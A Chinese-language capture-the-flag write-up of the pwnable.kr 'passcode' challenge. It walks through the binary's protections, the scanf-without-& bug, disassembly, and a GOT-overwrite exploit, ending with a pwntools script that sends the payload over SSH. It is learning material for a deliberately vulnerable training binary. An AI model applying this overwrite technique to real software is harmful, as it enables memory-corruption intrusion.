5、passcode
passcode
一、前言:
做了几天的pwn题目,特别有感慨,感谢这个美好的时代,感谢各位大佬,每次看着你们的文章,复现题目的过程中,我都学到了很多的知识。
二、题目:
1、查看:
2、检查程序的防护:
pwn或checksec
1 >>> from pwn import *
2 >>> check = ELF("./passcode")
发现程序有栈溢出保护和NX(数据执行保护)
1)Arch:Linux架构
2)RELRO:设置符号重定向表现为只读获在程序启动时就解析并绑定所有动态符号,从而减少GOT攻击
3)Stack:栈保护
栈溢出保护是一种缓冲区溢出攻击缓解手段。
当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。
当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。
攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。
在Linux中我们将cookie信息称为canary。
4)NX:NX/DEP,堆栈不可执行
NX(DEP)的基本原理是将数据所在内存页标识为不可执行,
当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,
此时CPU就会抛出异常,而不是去执行恶意指令。
5)PIE:地址随机化
PS:http://www.mamicode.com/info-detail-1990426.html
三、代码:
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 void login(){
5 int passcode1;
6 int passcode2;
7
8 printf("enter passcode1 : ");
9 scanf("%d", passcode1);
10 fflush(stdin);
11
12 // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
13 printf("enter passcode2 : ");
14 scanf("%d", passcode2);
15
16 printf("checking...\n");
17 if(passcode1==338150 && passcode2==13371337){
18 printf("Login OK!\n");
19 system("/bin/cat flag");
20 }
21 else{
22 printf("Login Failed!\n");
23 exit(0);
24 }
25 }
26
27 void welcome(){
28 char name[100];
29 printf("enter you name : ");
30 scanf("%100s", name);
31 printf("Welcome %s!\n", name);
32 }
33
34 int main(){
35 printf("Toddler's Secure Login System 1.0 beta.\n");
36
37 welcome();
38 login();
39
40 // something after login...
41 printf("Now I can safely trust you that you have credential :)\n");
42 return 0;
43 }
四、审计:
1、main函数:
main函数中调用了welcome函数和login函数
2、welcome函数:
1)声明一个名为name,大小为100字节的字符串变量
2)scanf():从标准输入设备读取输入的信息
3)输入name值
3、login函数:
(1)声明了两个变量
(2)fflush(stdin)的功能是清空输入缓冲区
(3)scanf():
scanf("%d", passcode1)和scanf("%d", passcode2)
对输入的变量没有使用取地址符号&
这会导致读入数据的时候,scanf会把这个变量中的值(指向的地址)当成存储地址来存放数据。
1 #include <stdio.h>
2 int main(){
3 int i;
4 i = 10;
5 printf("i = %d\n",i);//i 只能固定是10
6 return 0;
7 }
1 #include <stdio.h>
2 int main(){
3 int i;
4 scanf("%d",&i); //&i 表示变量i的地址,&是取地址符,&i表示取变量i的地址。i灵活获取数据
5 printf("i = %d\n",i);
6 return 0;
7 }
(4)如果passcode1 =338150 并且passcode2 = 13371337,就成功获得flag
五、利用:
1、利用思路:
(1)本地动态调试:
1)查看函数:
1 gdb-peda$ disassemble main
2)对三个函数下断点:
1 gdb-peda$ b main
2 Breakpoint 1 at 0x128a
3 gdb-peda$ b welcome
4 Breakpoint 2 at 0x123e
5 gdb-peda$ b login
6 Breakpoint 3 at 0x1189
7 gdb-peda$
3)运行程序:
1 gdb-peda$ r
4)进入welcome函数:
1 gdb-peda$ ni
2
3 gdb-peda$ si
EBP(RBP):0x7fffffffe170
name的地址在:[rbp-0x70]
5)输入aa
aa的地址:0x7fffffffe118
6)进入login函数:
EBP(RBP):0x7fffffffe170 和welcome相同
passcode1地址:[rbp-0x4]
(2)远程动态调试:
1 passcode@ubuntu:~$ gdb ./passcode
运行进入并查看函数和指令:
步过和步入后
name的地址为-0x70
输入aa
地址与上文的相同。
程序进行了检查
检查到被修改,调用了另一个函数(gs内存保护机制启用)
两变量的地址
(3)静态调试:
1 passcode@ubuntu:~$ objdump -d passcode
1)分析
1 08048564 <login>:
2 8048564: 55 push %ebp //将ebp压入栈中
3 8048565: 89 e5 mov %esp,%ebp //将ebp复制为esp
4 8048567: 83 ec 28 sub $0x28,%esp //分配栈空间
5 804856a: b8 70 87 04 08 mov $0x8048770,%eax //压入寄存器
6 804856f: 89 04 24 mov %eax,(%esp)
7 8048572: e8 a9 fe ff ff call 8048420 <printf@plt>
8 8048577: b8 83 87 04 08 mov $0x8048783,%eax
9 804857c: 8b 55 f0 mov -0x10(%ebp),%edx //passcode1的内容作为参数传给scanf
10 804857f: 89 54 24 04 mov %edx,0x4(%esp)
11 8048583: 89 04 24 mov %eax,(%esp)
12 8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt>
13 804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
14 8048590: 89 04 24 mov %eax,(%esp)
15 8048593: e8 98 fe ff ff call 8048430 <fflush@plt>
16 8048598: b8 86 87 04 08 mov $0x8048786,%eax
17 804859d: 89 04 24 mov %eax,(%esp)
18 80485a0: e8 7b fe ff ff call 8048420 <printf@plt>
19 80485a5: b8 83 87 04 08 mov $0x8048783,%eax
20 80485aa: 8b 55 f4 mov -0xc(%ebp),%edx //passcode2的内容作为参数传给scanf
21 80485ad: 89 54 24 04 mov %edx,0x4(%esp)
22 80485b1: 89 04 24 mov %eax,(%esp)
23 80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
24 80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
25 80485c0: e8 8b fe ff ff call 8048450 <puts@plt>
26 80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp) //第一个参数的比较
27 80485cc: 75 23 jne 80485f1 <login+0x8d>
28 80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp) //第二个参数的比较
29 80485d5: 75 1a jne 80485f1 <login+0x8d>
30 80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
31 80485de: e8 6d fe ff ff call 8048450 <puts@plt>
32 80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
33 80485ea: e8 71 fe ff ff call 8048460 <system@plt> //执行系统命令
34 80485ef: c9 leave
35 80485f0: c3 ret
36 80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
37 80485f8: e8 53 fe ff ff call 8048450 <puts@plt>
38 80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
39 8048604: e8 77 fe ff ff call 8048480 <exit@plt>
40
41 08048609 <welcome>:
42 8048609: 55 push %ebp
43 804860a: 89 e5 mov %esp,%ebp
44 804860c: 81 ec 88 00 00 00 sub $0x88,%esp
45 8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
46 8048618: 89 45 f4 mov %eax,-0xc(%ebp)
47 804861b: 31 c0 xor %eax,%eax
48 804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
49 8048622: 89 04 24 mov %eax,(%esp)
50 8048625: e8 f6 fd ff ff call 8048420 <printf@plt>
51 804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
52 804862f: 8d 55 90 lea -0x70(%ebp),%edx //name的地址
53 8048632: 89 54 24 04 mov %edx,0x4(%esp)
54 8048636: 89 04 24 mov %eax,(%esp)
55 8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt>
56 804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
57 8048643: 8d 55 90 lea -0x70(%ebp),%edx
58 8048646: 89 54 24 04 mov %edx,0x4(%esp)
59 804864a: 89 04 24 mov %eax,(%esp)
60 804864d: e8 ce fd ff ff call 8048420 <printf@plt>
61 8048652: 8b 45 f4 mov -0xc(%ebp),%eax
62 8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
63 804865c: 74 05 je 8048663 <welcome+0x5a>
64 804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt>
65 8048663: c9 leave
66 8048664: c3 ret
1 08048665 <main>:
2 8048665: 55 push %ebp
3 8048666: 89 e5 mov %esp,%ebp
4 8048668: 83 e4 f0 and $0xfffffff0,%esp
5 804866b: 83 ec 10 sub $0x10,%esp
6 804866e: c7 04 24 f0 87 04 08 movl $0x80487f0,(%esp)
7 8048675: e8 d6 fd ff ff call 8048450 <puts@plt>
8 804867a: e8 8a ff ff ff call 8048609 <welcome> //栈底
9 804867f: e8 e0 fe ff ff call 8048564 <login> //栈底
10 8048684: c7 04 24 18 88 04 08 movl $0x8048818,(%esp)
11 804868b: e8 c0 fd ff ff call 8048450 <puts@plt>
12 8048690: b8 00 00 00 00 mov $0x0,%eax
13 8048695: c9 leave
(4)思路汇总:
0)栈地址:这两个函数的ebp不同,但由于这两个函数是由main函数同步调用的,而且它们的参数个数一样多(都是0个),所以在数值上两个函数的ebp是相等的。
1)name的地址:ebp - 0x70
2)passcode1的地址:ebp-0x10
3)passcode2的地址:ebp-0xc
4) 思路A:
0x70 - 0x10 = 96 ,name声明了100个字节,所以最后4个字节就是passcode1的值,所以可以利用name改变passcode1的值
但由于开启了栈保护机制,所以不能通过name的输入来改变passcode2值。(如果可以,就可以通过name的值的修改来控制达到目的)
5)思路B:由于name值的最后4个字节是passcode1值,所以可以通过将passcode1的值改为scanf("%d",passcode2)的地址(前面提到的没有使用&取地址符号),然后输入目标system函数的地址,从而获取flag。
通过GOT表或PLT表找到指向的目标函数地址:
GOT(Global Offset Table),PLT(Procedure Linkage Table)
是Linux系统下面ELF格式的可执行文件中,用于定位全局变量和过程的数据信息。
程序编译时会采用两种表进行辅助,一个为 PLT PLT表,一个为GOT表,
PLT表可以称为内部函数表,GOT表为全局函数表。
1)GOT表:
1 passcode@ubuntu:~$ objdump -R passcode
2)PLT表:
1 passcode@ubuntu:~$ readelf -r ./passcode
3)scanf("%d",passcode2)的地址:
%d,故转换成:
2、利用代码:
1 from pwn import *
2
3 payload = 'd' * 96 + p32(0x0804a000) + '134514147'
4 def passcode():
5 sshed = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
6 print(sshed.connected())
7 exe = sshed.process('./passcode')
8 exe.sendline(payload)
9 print(exe.recvline())
10 print(exe.recvline())
11 print(exe.recvline())
12
13 passcode()
六、总结:
栈保护进制,内存保护机制不了解
栈的运行机制和溢出原理还不太熟悉
GOT表覆写技术不了解
七、参考:
https://www.52pojie.cn/forum.php?mod=viewthread&tid=552088
https://www.jianshu.com/p/886a7b8c2ad5
https://www.cnblogs.com/binlmmhc/p/6189514.html
https://blog.csdn.net/qq_20307987/article/details/51303824